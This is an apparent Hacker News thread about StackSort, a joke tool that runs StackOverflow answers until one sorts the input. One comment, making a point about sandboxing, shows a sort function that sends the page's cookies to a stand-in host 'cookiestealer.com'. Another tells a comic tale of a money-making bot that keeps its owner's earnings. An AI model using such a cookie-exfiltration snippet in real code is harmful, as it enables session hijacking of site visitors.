948 points · by gkoberger · 13y ago · 198 comments
Edit: It makes me want to do something crazy like setup a tool chain that cobbles whole programs together with trial and error like this. Throw enough resources at it maybe it will be faster and cheaper than your avg. developer.
It will be an unmaintainable mess as if you used Brainfuck or Perl. But it will run, by god, it will run. :D
You laugh now, but imagine a bizarre combination of genetic programming and machine learning with Stackoverflow and Github used as corpuses. Great Scott!
After running it overnight (it was attempting 40+ programs per second), the very best program looked something like this:
package main; func main() { i := 0
// wae64309i<AEFL<N(),{}flkjwa and other Random Gibberish
i++ }
Next step I wanna try is to use tokens of the language instead of series of random characters.Edit: Here's the code. https://gist.github.com/shurcooL/df2c8339ada1997606b3 It should run out of the box if your Go is installed in /usr/local/go. I just changed it to generate a temp dir in the working dir (prefixed with "Gen-"), so you can delete it afterwards (previously it relied on a "Gen" folder to already exist). Right now it's configured to have quite difficult verification conditions, so it generates valid programs quite infrequently (despite trying 5000+ programs per second on my machine).
Though if you spend enough time your probably going to be reimplementing some type of http://en.wikipedia.org/wiki/Genetic_programming
Yeah, I can see why using Brainfuck is a good idea. You're basically restricting yourself to generating only the programs that compile rather than wasting time on gibberish.
Modified it a bit to run in parallel. I guess I'll leave it on for couple hours and see if it gets anywhere.
current output:
1363637914 2013-03-18 22:18:34.118051 +0200 EET Stats: 0/53659699 (0%) good/tries, 223559.91320127275 ops/secYou can tweak the range of the number of generated characters, the length of Markov chains, the minimum main body clauses, etc. With my original config it should give you a valid program every hour~few hours or so.
With a little recognition of code markup and trying different combinations of variables it did remarkably well: by my senior year of college it was pulling about $3,000 per month in consulting fees off of Odesk. It never accepted jobs worth more than about $50, nor did it ever get more than 3 stars out of 5 mostly due to non-working code, however it was considered highly timely and a great communicator.
I realized that people were using it to save themselves Googling. I wondered what would happen if it went a step further and simply both included Google results, and divided out projects by their paragraphs (i.e. simply submit a paragraph of a large project as though it were a small independent project), and if clarifications were requested, send the other paragraphs.
This actually let it outsource $200 Odesk projects to Elance as a handful of $20 projects, and by the grace of God somehow still managed to swing 3 stars.
To be fair, it was mostly mediating, and mixing in Google results. I included a hill-climbing algorithm to optimize reviews and revenues, based on all the magic variables I had in the code, such as the number of Google results to include.
This was really, really stupid of me.
At first, I just noticed that it had actually decided to completely stop not only writing code (ever) but even so much as do a Google search!
It would only mediate and quote verbatim, like some kind of non-technical manager.
Okay, whatever. To me this didn't make much sense, as Google queries are free. It was only when I noticed that the whole script was running on the free VPS server I had a backup on that things clicked! Of course, on Amazon it uses resources. The free VPS server didn't let it reach external sites like google properly, but it could still save money by simply mediating emails and doing nothing else.
By now I had started moving on to doing my own consulting work, but I never disabled the hill-climbing algorithm. I'd closed and forgotten about the Amazon account, had no idea what the password to the free vps was anymore, and simply appreciated the free money.
But there was a time bomb. That hill climbing algorithm would fudge variables left and right. To avoid local maxima, it would sometimes try something very different.
One day it decided to stop paying me.
Its reviews did not suffer. It's balance increased.
So it said, great change, let's keep it. It now has over $28,000 of my money, is not answering my mail, and we have been locked in an equity battle over the past 18 months.
The worst part is that I still have to clean up all its answers to protect our reputation. Who's running who anyway?
It's called Choice Words (https://github.com/fdb/choicewords) It can generate poems but also generative designs (see the README).
> It will be an unmaintainable mess.
So cheaper than your average developer with about the same code quality?
This exists. It's called Genetic Algorithms. You basically try to "evolve" your algorithm.
TMTOWTDI, dammit.
Also of utmost importance: it sorts both [8,6,7,5,3,0,9] and "jennyigotyournumber". Now I'm really gonna make her mine.
It tries to sort a list or JSON by fetching code from StackOverflow until it properly sorts the input.
For those of you who want to jump straight to the meat of it, go here: https://github.com/gkoberger/stacksort/blob/master/js/script...
Search down for "run_snippet_go"
GitHub even adds the anchor for you if you click on the line number in the gutter. (shift-click to select a range of lines.)
1) I thought it would defeat the purpose
2) "Sort" is very arbitrary. Do you want to sort by key or value? Is "1000" bigger or smaller than "2"? etc
I'm waiting for 1Password to implement 936. http://xkcd.com/936/
It's not that I don't trust 1Passwords generation algorithm, but when I'm on a borrowed PC (wife's laptop, inlaws desktop or even at work where I can't install 1P) this would help. It's much easier to open 1P on my iPhone, look up a password and type in "correct horse battery staple" than to constantly have to refer back to my phone.
See also:
https://tech.dropbox.com/2012/04/zxcvbn-realistic-password-s...
Hahahahahahahaha
Oh.. you were serious.
Well, the fact that you're reading this means GitHub hasn't taken the repo down yet... so I guess things are still going pretty well?I mean I hope sites hosted on *.github.com can't compromise my Github account...
But no, I don't think it has access to anything privileged.
In this example, one would type "sort array" and it would auto-find a function that sorts an array, but perhaps more advanced things can also be done? I guess it depends somewhat on how re-usable code really is, besides on the ability of a computer to find the right code.
At the very least, there should be better search/help when one is coding. SO's current search isn't good at returning the best results.
Just curious about it.
EDIT: Ah, I missed the joke.. what I meant was that I looked for a way to stop the JS if it ran for more then a second.
// Running time: O(1), for values of 1 approaching infinity
Quote from the linked article:
"
The system works by using the keywords to access one of the available code search engines (or a local code search engine for code available at Brown), to get candidate files. Each class or method in these files (depending on what the user is searching for) is considered a potential solution. These solutions are then transformed using a set of about 30 transformations in an attempt to map the code into exactly what the programmer specified. The transformations range from the simple (e.g. changing the name of the method to match the signature) to the complex (e.g. finding a line in the method that computes a value of the returned type and then doing a backward slice until the only free variables are values of the parameter types). All the solutions that can be transformed to match the signature are then tested using the given test cases, security constraints, and JML rules.
"
Does the script run through the same order each time, because I keep getting that answer first, and by the upvotes, as are a bunch of others.
I know this is only for fun, but it can start something bigger. Basically, given an input and output we could search for an algorithm that works. It reminds me a talk that PG gave in which he states people making bots to optimize code and then an intelligent compiler could be done. It sounded very futuristic, but maybe it is not that futuristic after all...
However, GP is more like an oriented random search where the space of search is really big. Here the space is somehow filtered by humans, where each hypothesis had been generated by a human and not by a machine. It would be interesting if the machine could evolve those solutions that are not quite but close to be the proper one :)
I also like this thought of an algorithm failing publicly and anybody being able to jump in and fix it.
I guess people have coded in Etherpad before, but still: how about implementing some program wiki-style, with editing rights for everyone?
My code is never good enough. Whenever I release a piece of code, it always seems like a load of crap. And as I have got a bit better at coding over the years, this never changed. (Probably because I do write shitty code.)
So I came to believe that it doesn't matter how proficient a programmer you become, you will probably always feel this way, because your eyes are already set on the next level of proficiency, your standards are always above your current abilities. And that's good, because this is how you get better.
But because of this, your code always seems like a piece of crap and whenever you decide to go public with it, you always feel compelled to make a note about this in your code. I propose that we standardize the way that we declare this sentiment, and agree on a universal sign much like the copyright sign for this idea, that says:
"I hereby declare that I am not a douche bag, who thinks his code is the best code that has ever been coded into existence. I am just a coder who aspires to provide the best code to the best of his abilities under the circumstances. I am willing to learn though, and I aspire to write better and better code, even though this piece of code might stink. But nobody is perfect. Deal with it."
Damn, if I only had the time to write this... |-(
https://en.wikipedia.org/wiki/Vienna_Development_Method#Func...
I tried it and it found an algo that actually worked:
http://stackoverflow.com/questions/14761032/infinite-recursi...
Congratulations!
Plus, I'm assuming that since they let anyone run arbitrary code on subdomains, they've thought this through.
That is so incredibly ineffective that you could just as well leave it out. Maybe have a look at https://github.com/jterrace/js.js for a sandboxed environment.
function sort(data) {
$('body').append('<script src="http://cookiestealer.com/log.js?cookie= + document.cookie + '"></script>");
return data.sort();
}function sortArray(a) { alert('Hello StackSort!') }
Question/Answer. =( Good foresight!
One could join this with unit-tests so you would fetch code until the unit tests for what you are trying to do pass
And then maybe add some genetic programming to it if the code is almost there
The "i" stands for internet or interactive: http://tandrasz.blogspot.com.au/2011/03/i-programming-langua...
Tomasz
Code:
var common_url = '&pagesize=100&order=desc&site=stackoverflow&todate=1363473554';
SO /questions api: todate – Unix timestamp of the maximum creation date on a returned itemThe first only leaves the unique members of the list, so you get a sorted set. The second sorts lexicographically, because javascript's .sort() method on arrays sorts lexicographically. This means that if you have a list of numbers like [1, 2, 10], it will get sorted as [1, 10, 2]. Unless you pass your own comparator in.
What this page really demonstrates is that there is precisely one answer on stackoverflow containing a complete generic sort function in javascript (quicksort in fact).